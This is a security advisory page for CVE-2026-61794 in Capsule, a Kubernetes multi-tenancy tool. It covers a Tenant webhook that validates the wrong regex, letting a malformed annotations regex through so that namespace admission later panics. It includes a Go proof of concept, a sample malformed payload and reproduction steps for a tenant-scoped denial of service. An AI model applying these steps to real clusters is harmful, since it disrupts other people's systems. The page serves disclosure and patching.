Capsule: Malformed ForbiddenAnnotations.Regex can bypass Tenant validation and trigger namespace admission panic
CVE-2026-61794 (GitHub advisory GHSA-gxjc-74v5-3vx3) is a medium-severity vulnerability with a CVSS 3.1 base score of 4.9, classed as Improper Input Validation (CWE-20), in github.com/projectcapsule/capsule (Go). Affected versions: >= 0.13.0, < 0.13.7. It is fixed in 0.13.7.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-61794
- GHSA ID
- GHSA-gxjc-74v5-3vx3
- EPSS
- 0.32%higher than 26% of CVEs
- Weakness (CWE)
- CWE-20Improper Input Validation
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- Go
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
A validation bug in internal/webhook/tenant/validation/forbidden_annotations_regex.go allows an invalid ForbiddenAnnotations.Regex value to bypass Tenant admission on update. The webhook compiles ForbiddenLabels.Regex for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through pkg/api/forbidden_list.go, where regexp.MustCompile can panic and cause admission failure.
Details
In internal/webhook/tenant/validation/forbidden_annotations_regex.go, OnUpdate validates the new Tenant object, but the loop compiles tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex for both labels and annotations. That means an invalid ForbiddenAnnotations.Regex is never validated if ForbiddenLabels.Regex is valid.
Relevant paths:
internal/webhook/tenant/validation/forbidden_annotations_regex.gointernal/webhook/namespace/validation/user_metadata.gopkg/api/forbidden_list.go
Namespace admission later calls api.ValidateForbidden(...), and ForbiddenListSpec.RegexMatch() uses regexp.MustCompile(in.Regex). If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.
PoC
- Update a Tenant so that:
spec.namespaceOptions.forbiddenLabels.regexis validspec.namespaceOptions.forbiddenAnnotations.regexis malformed, for example:[invalid-regex(
- The Tenant update is accepted because the webhook compiles the labels regex for both fields.
- Create or update a Namespace that triggers forbidden metadata validation.
- The namespace admission path reaches
regexp.MustCompile(...)and panics.
package main
import (
"fmt"
"regexp"
)
type ForbiddenListSpec struct {
Regex string
}
type NamespaceOptions struct {
ForbiddenLabels ForbiddenListSpec
ForbiddenAnnotations ForbiddenListSpec
}
type Tenant struct {
NamespaceOptions *NamespaceOptions
}
func validateTenantUpdate(tnt *Tenant) error {
if tnt.NamespaceOptions == nil {
return nil
}
annotationsToCheck := map[string]string{
"labels": tnt.NamespaceOptions.ForbiddenLabels.Regex,
"annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex,
}
for scope, annotation := range annotationsToCheck {
if _, err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil {
return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope)
}
}
return nil
}
func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error {
for key := range metadata {
if forbidden.Regex != "" {
if regexp.MustCompile(forbidden.Regex).MatchString(key) {
return fmt.Errorf("forbidden key matched: %s", key)
}
}
}
return nil
}
func main() {
oldTenant := &Tenant{
NamespaceOptions: &NamespaceOptions{
ForbiddenLabels: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
ForbiddenAnnotations: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
},
}
newTenant := &Tenant{
NamespaceOptions: &NamespaceOptions{
ForbiddenLabels: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
ForbiddenAnnotations: ForbiddenListSpec{Regex: `[invalid-regex(`},
},
}
fmt.Println("=== Update step ===")
if err := validateTenantUpdate(newTenant); err != nil {
fmt.Printf("unexpected deny: %v\n", err)
} else {
fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation")
}
fmt.Println()
fmt.Println("=== Namespace step ===")
_ = oldTenant
defer func() {
if r := recover(); r != nil {
fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r)
}
}()
_ = validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: `[invalid-regex(`})
fmt.Println("no panic, unexpected")
}
Expected output:
=== Update step ===
allowed: malformed ForbiddenAnnotations.Regex bypassed validation
=== Namespace step ===
panic reproduced from ValidateForbidden: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]: `[invalid-regex(`
Impact
An attacker who can update the Tenant configuration can persist a malformed ForbiddenAnnotations.Regex and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:HMedium4.9Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- High
- User Interaction UI
- None
- Scope S
- Unchanged
- Confidentiality C
- None
- Integrity I
- None
- Availability A
- High
Affected packages
Source: OSV (GitHub advisory)
- github.com/projectcapsule/capsuleGo
pkg:golang/github.com/projectcapsule/capsule- Affected versions
- >= 0.13.0, < 0.13.7
- Fixed in
- 0.13.7
| Package | Affected versions | Fixed in |
|---|---|---|
github.com/projectcapsule/capsule Go pkg:golang/github.com/projectcapsule/capsule |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 0.13.7 or later.
Patch commits
fix(sec): corrects validation for regex objects (hostname and forbidden (#1983)
+134 −6 across 4 files
- e2e/ingress_hostnames_test.go+30 −0
- e2e/tenant_forbidden_annotations_regex_test.go+89 −0
- internal/webhook/tenant/validation/forbidden_annotations_regex.go+14 −5
- internal/webhook/tenant/validation/hostname_regex.go+1 −1
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Fixes 2
Advisories 4
Package 1
Credits
- PhucQuanreporter
Questions about CVE-2026-61794
- What is the GHSA ID for CVE-2026-61794?
- GitHub tracks CVE-2026-61794 as GHSA-gxjc-74v5-3vx3.
- What is the CVSS score of CVE-2026-61794?
- CVE-2026-61794 has a CVSS 3.1 base score of 4.9 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H. Other published scores: CVSS 3.1 6.8.
- Which versions are affected by CVE-2026-61794?
- github.com/projectcapsule/capsule (Go): >= 0.13.0, < 0.13.7.
- How do I fix CVE-2026-61794?
- Upgrade to 0.13.7 or later. The fix is in commit 8d89d68 and pull request #1983.
- What is the Package URL (PURL) for CVE-2026-61794?
- The affected package's PURL is pkg:golang/github.com/projectcapsule/capsule.
- Is CVE-2026-61794 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61794. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.32% chance of exploitation in the next 30 days, higher than 26% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 6 days ago (8 Oct 2026, 04:56 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.